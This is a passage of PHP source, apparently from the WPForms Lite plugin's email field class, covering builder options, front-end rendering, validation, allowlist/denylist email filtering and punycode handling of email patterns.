$this->field_option( 'basic-options', $field, $args );
// Label.
$this->field_option( 'label', $field );
// Description.
$this->field_option( 'description', $field );
// Required toggle.
$this->field_option( 'required', $field );
// Confirmation toggle.
$fld = $this->field_element(
'toggle',
$field,
[
'slug' => 'confirmation',
'value' => isset( $field['confirmation'] ) ? '1' : '0',
'desc' => esc_html__( 'Enable Email Confirmation', 'wpforms-lite' ),
'tooltip' => esc_html__( 'Check this option to ask users to provide an email address twice.', 'wpforms-lite' ),
],
false
);
$args = [
'slug' => 'confirmation',
'content' => $fld,
];
$this->field_element( 'row', $field, $args );
// Options close markup.
$args = [
'markup' => 'close',
];
$this->field_option( 'basic-options', $field, $args );
/*
* Advanced field options.
*/
// Options open markup.
$args = [
'markup' => 'open',
];
$this->field_option( 'advanced-options', $field, $args );
// Size.
$this->field_option( 'size', $field );
// Placeholder.
$this->field_option( 'placeholder', $field );
// Confirmation Placeholder.
$lbl = $this->field_element(
'label',
$field,
[
'slug' => 'confirmation_placeholder',
'value' => esc_html__( 'Confirmation Placeholder Text', 'wpforms-lite' ),
'tooltip' => esc_html__( 'Enter text for the confirmation field placeholder.', 'wpforms-lite' ),
],
false
);
$fld = $this->field_element(
'text',
$field,
[
'slug' => 'confirmation_placeholder',
'value' => ! empty( $field['confirmation_placeholder'] ) ? esc_attr( $field['confirmation_placeholder'] ) : '',
],
false
);
$args = [
'slug' => 'confirmation_placeholder',
'content' => $lbl . $fld,
];
$this->field_element( 'row', $field, $args );
// Default value.
$this->field_option( 'default_value', $field );
$filter_type_label = $this->field_element(
'label',
$field,
[
'slug' => 'filter_type',
'value' => esc_html__( 'Allowlist / Denylist', 'wpforms-lite' ),
'tooltip' => esc_html__( 'Restrict which email addresses are allowed. Be sure to separate each email address with a comma.', 'wpforms-lite' ),
],
false
);
$filter_type_field = $this->field_element(
'select',
$field,
[
'slug' => 'filter_type',
'value' => ! empty( $field['filter_type'] ) ? esc_attr( $field['filter_type'] ) : '',
'options' => [
'' => esc_html__( 'None', 'wpforms-lite' ),
'allowlist' => esc_html__( 'Allowlist', 'wpforms-lite' ),
'denylist' => esc_html__( 'Denylist', 'wpforms-lite' ),
],
],
false
);
$this->field_element(
'row',
$field,
[
'slug' => 'filter_type',
'content' => $filter_type_label . $filter_type_field,
]
);
$this->field_element(
'row',
$field,
[
'slug' => 'allowlist',
'content' => $this->field_element(
'textarea',
$field,
[
'slug' => 'allowlist',
'value' => ! empty( $field['allowlist'] ) ? esc_attr( $this->decode_email_patterns_rules_list( $field['allowlist'] ) ) : '',
],
false
),
]
);
$this->field_element(
'row',
$field,
[
'slug' => 'denylist',
'content' => $this->field_element(
'textarea',
$field,
[
'slug' => 'denylist',
'value' => ! empty( $field['denylist'] ) ? esc_attr( $this->decode_email_patterns_rules_list( $field['denylist'] ) ) : '',
],
false
),
]
);
// Custom CSS classes.
$this->field_option( 'css', $field );
// Hide Label.
$this->field_option( 'label_hide', $field );
// Hide sublabels.
$this->field_option( 'sublabel_hide', $field );
// Options close markup.
$args = [
'markup' => 'close',
];
$this->field_option( 'advanced-options', $field, $args );
}
/**
* Field preview inside the builder.
*
* @since 1.0.0
* @param array $field
*/
public function field_preview( $field ) {
// Define data.
$placeholder = ! empty( $field['placeholder'] ) ? $field['placeholder'] : '';
$confirm_placeholder = ! empty( $field['confirmation_placeholder'] ) ? $field['confirmation_placeholder'] : '';
$default_value = ! empty( $field['default_value'] ) ? $field['default_value'] : '';
$confirm = ! empty( $field['confirmation'] ) ? 'enabled' : 'disabled';
// Label.
$this->field_preview_option( 'label', $field );
?>
<div class="wpforms-confirm wpforms-confirm-<?php echo sanitize_html_class( $confirm ); ?>">
<div class="wpforms-confirm-primary">
<input type="email" placeholder="<?php echo esc_attr( $placeholder ); ?>" value="<?php echo esc_attr( $default_value ); ?>" class="primary-input" readonly>
<label class="wpforms-sub-label"><?php esc_html_e( 'Email', 'wpforms-lite' ); ?></label>
</div>
<div class="wpforms-confirm-confirmation">
<input type="email" placeholder="<?php echo esc_attr( $confirm_placeholder ); ?>" class="secondary-input" readonly>
<label class="wpforms-sub-label"><?php esc_html_e( 'Confirm Email', 'wpforms-lite' ); ?></label>
</div>
</div>
<?php
// Description.
$this->field_preview_option( 'description', $field );
}
/**
* Field display on the form front-end.
*
* @since 1.0.0
* @param array $field
* @param array $deprecated
* @param array $form_data
*/
public function field_display( $field, $deprecated, $form_data ) {
// Define data.
$form_id = absint( $form_data['id'] );
$confirmation = ! empty( $field['confirmation'] );
$primary = $field['properties']['inputs']['primary'];
$secondary = ! empty( $field['properties']['inputs']['secondary'] ) ? $field['properties']['inputs']['secondary'] : '';
// Standard email field.
if ( ! $confirmation ) {
// Primary field.
printf(
'<input type="email" %s %s>',
wpforms_html_attributes( $primary['id'], $primary['class'], $primary['data'], $primary['attr'] ),
esc_attr( $primary['required'] )
);
$this->field_display_error( 'primary', $field );
// Confirmation email field configuration.
} else {
// Row wrapper.
echo '<div class="wpforms-field-row wpforms-field-' . sanitize_html_class( $field['size'] ) . '">';
// Primary field.
echo '<div ' . wpforms_html_attributes( false, $primary['block'] ) . '>';
$this->field_display_sublabel( 'primary', 'before', $field );
printf(
'<input type="email" %s %s>',
wpforms_html_attributes( $primary['id'], $primary['class'], $primary['data'], $primary['attr'] ),
esc_attr( $primary['required'] )
);
$this->field_display_sublabel( 'primary', 'after', $field );
$this->field_display_error( 'primary', $field );
echo '</div>';
// Secondary field.
echo '<div ' . wpforms_html_attributes( false, $secondary['block'] ) . '>';
$this->field_display_sublabel( 'secondary', 'before', $field );
printf(
'<input type="email" %s %s>',
wpforms_html_attributes( $secondary['id'], $secondary['class'], $secondary['data'], $secondary['attr'] ),
esc_attr( $secondary['required'] )
);
$this->field_display_sublabel( 'secondary', 'after', $field );
$this->field_display_error( 'secondary', $field );
echo '</div>';
echo '</div>';
} // End if().
}
/**
* Format and sanitize field.
*
* @since 1.3.0
* @param int $field_id Field ID.
* @param mixed $field_submit Field value that was submitted.
* @param array $form_data Form data and settings.
*/
public function format( $field_id, $field_submit, $form_data ) {
// Define data.
if ( is_array( $field_submit ) ) {
$value = ! empty( $field_submit['primary'] ) ? $field_submit['primary'] : '';
} else {
$value = ! empty( $field_submit ) ? $field_submit : '';
}
if ( $value && ! wpforms_is_email( $value ) ) {
wpforms()->obj( 'process' )->errors[ $form_data['id'] ][ $field_id ] = esc_html__( 'The provided email is not valid.', 'wpforms-lite' );
return;
}
$name = ! empty( $form_data['fields'][ $field_id ] ['label'] ) ? $form_data['fields'][ $field_id ]['label'] : '';
// Set final field details.
wpforms()->obj( 'process' )->fields[ $field_id ] = [
'name' => sanitize_text_field( $name ),
'value' => sanitize_text_field( $this->decode_punycode( $value ) ),
'id' => wpforms_validate_field_id( $field_id ),
'type' => $this->type,
];
}
/**
* Validate field on form submit.
*
* @since 1.0.0
*
* @param int $field_id Field ID.
* @param mixed $field_submit Submitted field value (raw data).
* @param array $form_data Form data and settings.
*/
public function validate( $field_id, $field_submit, $form_data ) { // phpcs:ignore Generic.Metrics.CyclomaticComplexity.TooHigh
$form_id = (int) $form_data['id'];
parent::validate( $field_id, $field_submit, $form_data );
if ( ! is_array( $field_submit ) && ! empty( $field_submit ) ) {
$field_submit = [
'primary' => $field_submit,
];
}
if ( empty( $field_submit['primary'] ) ) {
return;
}
$process = wpforms()->obj( 'process' );
if ( ! $process ) {
return;
}
$field_submit['primary'] = $this->email_encode_punycode( $field_submit['primary'] );
if ( ! $field_submit['primary'] ) {
$process->errors[ $form_id ][ $field_id ] = esc_html__( 'The provided email is not valid.', 'wpforms-lite' );
return;
}
// Validate email field with confirmation.
if ( isset( $form_data['fields'][ $field_id ]['confirmation'] ) && ! empty( $field_submit['secondary'] ) ) {
$field_submit['secondary'] = $this->email_encode_punycode( $field_submit['secondary'] );
if ( ! $field_submit['secondary'] ) {
$process->errors[ $form_id ][ $field_id ] = esc_html__( 'The provided email is not valid.', 'wpforms-lite' );
return;
}
if ( $field_submit['primary'] !== $field_submit['secondary'] ) {
$process->errors[ $form_id ][ $field_id ] = esc_html__( 'The provided emails do not match.', 'wpforms-lite' );
return;
}
if ( ! $this->is_restricted_email( $field_submit['primary'], $form_data['fields'][ $field_id ] ) ) {
$process->errors[ $form_id ][ $field_id ] = wpforms_setting( 'validation-email-restricted', esc_html__( 'This email address is not allowed.', 'wpforms-lite' ) );
return;
}
}
// Validate regular email field, without confirmation.
if ( ! isset( $form_data['fields'][ $field_id ]['confirmation'] ) && ! $this->is_restricted_email( $field_submit['primary'], $form_data['fields'][ $field_id ] ) ) {
$process->errors[ $form_id ][ $field_id ] = wpforms_setting( 'validation-email-restricted', esc_html__( 'This email address is not allowed.', 'wpforms-lite' ) );
}
}
/**
* Ajax handler to detect restricted email.
*
* @since 1.6.3
* @since {VERSION Added repeater field compatibility.
*/
public function ajax_check_restricted_email() {
$form_id = filter_input( INPUT_POST, 'form_id', FILTER_SANITIZE_NUMBER_INT );
$field_id = absint( filter_input( INPUT_POST, 'field_id', FILTER_SANITIZE_FULL_SPECIAL_CHARS ) );
$email = filter_input( INPUT_POST, 'email', FILTER_SANITIZE_FULL_SPECIAL_CHARS, FILTER_FLAG_NO_ENCODE_QUOTES );
// The valid email can contain such characters: !#$%&'*+/=?^_`{|}~-.
// After filtering the email, we need to decode the `&`, otherwise the email with `&` couldn't be properly recognized.
$email = str_replace( '&', '&', $email );
if ( ! $form_id || ! $field_id || ! $email ) {
wp_send_json_error();
}
$form_data = wpforms()->obj( 'form' )->get(
$form_id,
[ 'content_only' => true ]
);
if ( empty( $form_data['fields'][ $field_id ] ) ) {
wp_send_json_error();
}
wp_send_json_success(
$this->is_restricted_email( $email, $form_data['fields'][ $field_id ] )
);
}
/**
* Sanitize restricted rules.
*
* @since 1.6.3
*/
public function ajax_sanitize_restricted_rules() {
$this->ajax_sanitize( self::RULES );
}
/**
* Sanitize default email.
*
* @since 1.7.5
*/
public function ajax_sanitize_default_email() {
$this->ajax_sanitize( self::EMAIL );
}
/**
* Sanitize email options input.
*
* @since 1.7.5
*
* @param string $type Type of sanitization.
*
* @return void
*/
private function ajax_sanitize( $type ) { // phpcs:ignore Generic.Metrics.CyclomaticComplexity.TooHigh
// Run a security check.
check_ajax_referer( 'wpforms-builder', 'nonce' );
$content = filter_input( INPUT_GET, 'content', FILTER_SANITIZE_FULL_SPECIAL_CHARS );
$content = wpforms_json_decode( $content, true );
if ( ! $content ) {
wp_send_json_error();
}
$this->restricted_rules = [];
switch ( $type ) {
case self::RULES:
$current = $content['current'];
$other = $current === 'allow' ? 'deny' : 'allow';
$current_rules = $this->sanitize_restricted_rules( $content[ $current ] );
$other_rules = $this->sanitize_restricted_rules( $content[ $other ] );
$intersect_rules = array_intersect( $current_rules, $other_rules );
$current_rules = array_diff( $current_rules, $intersect_rules );
$content = [
'currentField' => $this->decode_email_patterns_rules_array( $current_rules ),
'intersect' => str_replace(
PHP_EOL,
'<br>',
$this->decode_email_patterns_rules_array( $intersect_rules )
),
];
break;
case self::EMAIL:
list( $local, $domain ) = $this->parse_email_pattern( $content );
$local = $this->sanitize_local_pattern( $local );
$domain = $this->sanitize_domain_pattern( $domain );
$content = (string) wpforms_is_email( $this->get_pattern( $local, $domain ) );
break;
default:
break;
}
if ( ! empty( $this->restricted_rules ) ) {
$content['restricted'] = count( $this->restricted_rules );
}
wp_send_json_success( $content );
}
/**
* Verify that an email pattern is valid.
*
* @since 1.7.5
*
* @param string $pattern Email pattern.
*
* @return string|false
*/
private function is_email_pattern( $pattern ) {
if ( ! $pattern ) {
// Empty pattern is not valid.
return false;
}
list( $local, $domain ) = $this->parse_email_pattern( $pattern );
$local = $this->sanitize_local_pattern( $local );
$domain = $this->sanitize_domain_pattern( $domain );
if ( mb_strpos( $pattern, '@' ) === false ) {
return $this->is_email_pattern_without_at( $local );
}
$domain_check = str_replace( '*', '', $domain );
$domain_check = $this->maybe_adjust_domain( $domain_check );
$pattern_check = $this->get_pattern( $local, $domain_check );
if ( wpforms_is_email( $pattern_check ) ) {
return $this->get_pattern( $local, $domain );
}
return false;
}
/**
* Sanitize the local or domain part of the email pattern.
*
* @since 1.7.5
*
* @param string $part Local or domain part of the email pattern.
* @param string $pattern Sanitization pattern.
*
* @return string
*/
private function sanitize_part_pattern( $part, $pattern ) {
/**
* Smart tag placeholder. Should contain allowed chars only.
* See patterns in sanitize_local_pattern(), sanitize_domain_pattern().
*/
$smart_tag_placeholder = '-wpforms-smart-tag-';
$smart_tag_pattern = '/{.+?}/';
$smart_tags = [];
if ( preg_match_all( $smart_tag_pattern, $part, $m ) ) {
$smart_tags = $m[0];
foreach ( $smart_tags as $smart_tag ) {
$part = preg_replace(
'/' . preg_quote( $smart_tag, '/' ) . '/',
$smart_tag_placeholder,
$part,
1
);
}
}
// Sanitize part by pattern.
$part = preg_replace( $pattern, '', $part );
foreach ( $smart_tags as $smart_tag ) {
$part = preg_replace(
'/' . preg_quote( $smart_tag_placeholder, '/' ) . '/',
$smart_tag,
$part,
1
);
}
return $part;
}
/**
* Sanitize the local part of the email pattern.
*
* @since 1.7.5
*
* @param string $local Local part of the email pattern.
*
* @return string
*/
private function sanitize_local_pattern( $local ) {
/**
* This regexp is from is_email() WP core function
* with added international characters and
* asterisk [*] for patterns.
*/
return $this->sanitize_part_pattern( $local, '/[^a-zA-Z0-9\x{0080}-\x{0FFF}!#$%&\'*+\/=?^_`{|}~.-]/u' );
}
/**
* Sanitize the domain part of the email pattern.
*
* @since 1.7.5
*
* @param string $domain Domain part of the email pattern.
*
* @return string
*/
private function sanitize_domain_pattern( $domain ) {
/**
* This regexp is from is_email() WP core function
* with added international characters,
* dot [.] for the whole domain part and
* asterisk [*] for patterns.
*/
return $this->sanitize_part_pattern( $domain, '/[^a-z0-9\x{0080}-\x{FFFF}-.*]/u' );
}
/**
* Maybe replace empty subdomains with templates.
*
* @since 1.7.5
*
* @param string $domain Email domain.
*
* @return string
*/
private function maybe_adjust_domain( $domain ) {
$domain_subs = array_pad( explode( '.', $domain ), 2, '' );
$domain_template_subs = [ 'a', 'me' ];
foreach ( $domain_template_subs as $index => $domain_template_sub ) {
$domain_subs[ $index ] = trim( $domain_subs[ $index ] );
if ( ! $domain_subs[ $index ] ) {
$domain_subs[ $index ] = $domain_template_sub;
}
}
return implode( '.', $domain_subs );
}
/**
* Get pattern from local and domain parts.
*
* @since 1.7.5
*
* @param string $local Local part.
* @param string $domain Domain part.
*
* @return string
*/
private function get_pattern( $local, $domain = '' ) {
return implode( '@', array_filter( [ $local, $domain ] ) );
}
/**
* Sanitize restricted rules.
*
* @since 1.6.3
*
* @param string $content Content.
*
* @return array
*/
private function sanitize_restricted_rules( $content ) {
$patterns = array_filter( preg_split( '/\r\n|\r|\n|,/', $content ) );
foreach ( $patterns as $key => $pattern ) {
$pattern = mb_strtolower( trim( $pattern ) );
$email_pattern = $this->is_email_pattern( $pattern );
if ( ! $email_pattern ) {
unset( $patterns[ $key ] );
$this->restricted_rules[] = $pattern;
continue;
}
$patterns[ $key ] = $this->encode_punycode( $email_pattern );
}
return array_unique( $patterns );
}
/**
* The check is a restricted email.
*
* @since 1.6.3
*
* @param string $email Email string.
* @param array $field Field data.
*
* @return bool
*/
private function is_restricted_email( $email, $field ) {
if ( empty( $field['filter_type'] ) || empty( $field[ $field['filter_type'] ] ) ) {
return true;
}
$email = mb_strtolower( trim( $email ) );
if ( ! wpforms_is_email( $email ) ) {
return false;
}
// Chrome and Edge encode <input type="email"> to punycode, but domain part only.
// Firefox sends intl email as is.
if ( $this->is_encoded_punycode( $email ) ) {
$email = $this->decode_punycode( $email );
}
$patterns = $this->sanitize_restricted_rules( $field[ $field['filter_type'] ] );
$patterns = array_map( [ $this, 'decode_punycode' ], $patterns );
$patterns = array_map( [ $this, 'sanitize_email_pattern' ], $patterns );
$check = $field['filter_type'] === 'allowlist';
foreach ( $patterns as $pattern ) {
if ( preg_match( '/' . $pattern . '/', $email ) ) {
return $check;
}
}
return ! $check;
}
/**
* Sanitize from email patter a REGEX pattern.
*
* @since 1.6.3
*
* @param string $pattern Pattern line.
*
* @return string
*/
private function sanitize_email_pattern( $pattern ) {
$chars = [ '.', '*', '/' ];
$replace = [ '\.', '.*', '\/' ];
// Create regex pattern from a string.
return '^' . str_replace( $chars, $replace, $pattern ) . '$';
}
/**
* Sanitize allow/deny list and default value before saving.
*
* @since 1.6.8
*
* @param array $form Form array which is usable with `wp_update_post()`.
* @param array $data Data retrieved from $_POST and processed.
* @param array $args Empty by default, may contain custom data not intended to be saved, but used for processing.
*
* @return array
*/
public function save_form_args( $form, $data, $args ) {
// Get a filtered form content.
$form_data = json_decode( stripslashes( $form['post_content'] ), true );
if ( ! empty( $form_data['fields'] ) ) {
foreach ( (array) $form_data['fields'] as $key => $field ) {
if ( empty( $field['type'] ) || $field['type'] !== 'email' ) {
continue;
}
$form_data['fields'][ $key ]['allowlist'] = ! empty( $field['allowlist'] ) ? implode( PHP_EOL, $this->sanitize_restricted_rules( $field['allowlist'] ) ) : '';
$form_data['fields'][ $key ]['denylist'] = ! empty( $field['denylist'] ) ? implode( PHP_EOL, $this->sanitize_restricted_rules( $field['denylist'] ) ) : '';
$form_data['fields'][ $key ]['default_value'] = isset( $field['default_value'] ) ? wpforms_is_email( $field['default_value'] ) : '';
}
}
$form['post_content'] = wpforms_encode( $form_data );
return $form;
}
/**
* Add a custom JS i18n strings for the builder.
*
* @since 1.7.5
*
* @param array $strings List of strings.
* @param array $form Current form.
*
* @return array
*/
public function add_builder_strings( $strings, $form ) {
$email_strings = [
'allow_deny_lists_intersect' => esc_html__(
'We’ve detected the same text in your allowlist and denylist. To prevent a conflict, we’ve removed the following text from the list you’re currently viewing:',
'wpforms-lite'
),
'restricted_rules' => esc_html__(
'At least one of the emails in your list contained an error and has been removed.',
'wpforms-lite'
),
'restricted_default_email' => esc_html__(
'The provided email is not valid.',
'wpforms-lite'
),
];
return array_merge( $strings, $email_strings );
}
/**
* Get Punycode lib class.
*
* @since 1.6.9
*
* @return WPForms\Vendor\TrueBV\Punycode
*/
private function get_punycode() {
static $punycode;
if ( ! $punycode ) {
$punycode = new Punycode();
}
return $punycode;
}
/**
* Get email patterns parts splitted by @ and *.
*
* @since 1.6.9
*
* @param string $email_pattern Email pattern.
*
* @return array
*/
private function get_email_pattern_parts( $email_pattern ) {
$parts = preg_split( '/[*@.]/', $email_pattern, - 1, PREG_SPLIT_OFFSET_CAPTURE );
if ( empty( $parts ) ) {
return [];
}
foreach ( $parts as $key => $part ) {
// Replace split symbol position to the split symbol.
$part[1] = $part[1] > 0 ? $email_pattern[ $part[1] - 1 ] : '';
$parts[ $key ] = $part;
}
return $parts;
}
/**
* Glue email patterns parts.
*
* @since 1.6.9
*
* @param array $parts Email pattern parts.
*
* @return string
*/
private function glue_email_pattern_parts( $parts ) {
$email_pattern = '';
foreach ( $parts as $part ) {
$email_pattern .= $part[1] . $part[0];
}
return $email_pattern;
}
/**
* Decode email patterns rules array.
*
* @since 1.7.5
*
* @param array $rules_arr Patterns rules array.
*
* @return string
*/
private function decode_email_patterns_rules_array( $rules_arr ) {
return implode(
PHP_EOL,
array_filter(
array_map(
function ( $rule ) {
$rule = mb_strtolower( trim( $rule ) );
return $this->is_email_pattern( $rule ) ? $this->decode_punycode( $rule ) : '';
},
$rules_arr
)
)
);
}
/**
* Decode email patterns rules list.
*
* @since 1.6.9
*
* @param string $rules Patterns rules list.
*
* @return string
*/
private function decode_email_patterns_rules_list( $rules ) {
return $this->decode_email_patterns_rules_array( preg_split( '/\r\n|\r|\n|,/', $rules ) );
}
/**
* Encode email.
*
* @since 1.7.3
*
* @param string $email Email.
*
* @return string
*/
private function email_encode_punycode( $email ) {
if ( ! wpforms_is_email( $email ) ) {
return '';
}
return $this->encode_punycode( $email );
}
/**
* Is email encoded.
*
* @since 1.7.5
*
* @param string $email Email.
*
* @return bool
*/
private function is_encoded_punycode( $email ) {
list( $local, $domain ) = $this->parse_email_pattern( $email );
// Check xn-- prefix in the beginning of domain part only.
return strpos( $domain, 'xn--' ) === 0;
}
/**
* Encode email pattern.
*
* @since 1.6.9
*
* @param string $email_pattern Email pattern.
*
* @return string
*/
private function encode_punycode( $email_pattern ) {
try {
$encoded = $this->transform_punycode( $email_pattern, [ $this->get_punycode(), 'encode' ] );
} catch ( Exception $e ) {
return '';
}
return $encoded;
}
/**
* Decode email pattern.
*
* @since 1.6.9
*
* @param string $email_pattern Email pattern.
*
* @return string
*/
private function decode_punycode( $email_pattern ) {
return $this->transform_punycode( $email_pattern, [ $this->get_punycode(), 'decode' ] );
}
/**
* Transform email pattern.
*
* @since 1.6.9
*
* @param string $email_pattern Email pattern.
* @param callable $callback Punycode callback.
*
* @return string
*/
private function transform_punycode( $email_pattern, callable $callback ) {
$parts = $this->get_email_pattern_parts( $email_pattern );
foreach ( $parts as $key => $part ) {
if ( ! $part[0] ) {
continue;
}
$parts[ $key ][0] = call_user_func( $callback, $part[0] );
}
return $this->glue_email_pattern_parts( $parts );
}
/**
* Parse email pattern and return local and domain parts (maybe empty).
*
* @since 1.7.5
*
* @param string $pattern Email pattern.
*
* @return array
*/
private function parse_email_pattern( $pattern ) {
return array_pad( explode( '@', $pattern ), 2, '' );
}
/**
* Verify that an email pattern without @ is valid.
*
* @since 1.7.5
*
* @param string $pattern Local part.
*
* @return false|string
*/
private function is_email_pattern_without_at( $pattern ) {
if ( mb_strpos( $pattern, '*' ) === false ) {
return false;
}
/**
* If pattern does not have @ separator, we should check the pattern twice, assuming:
* case 1 - pattern is a local pattern,
* case 2 - pattern is a domain pattern.
*/
// Check case 1.
$pattern_check = $this->get_pattern( $pattern, 'a.me' );
if ( wpforms_is_email( $pattern_check ) ) {
return $this->get_pattern( $pattern );
}
// Check case 2.
// Asterisk in the email is allowed in local part, but not in the domain part.
$pattern_check = $this->get_pattern( 'a', str_replace( '*', '', $pattern ) );
if ( wpforms_is_email( $pattern_check ) ) {
return $this->get_pattern( $pattern );
}
return false;
}
/**
* Determine if the field requires fieldset instead of the regular field label.
*
* @since 1.8.1
*
* @param bool $requires_fieldset True if requires fieldset.
* @param array $field Field data.
*
* @return bool
*
* @noinspection PhpUnusedParameterInspection
*/
public function is_field_requires_fieldset( $requires_fieldset, $field ) {
return ! empty( $field['confirmation'] );
}
}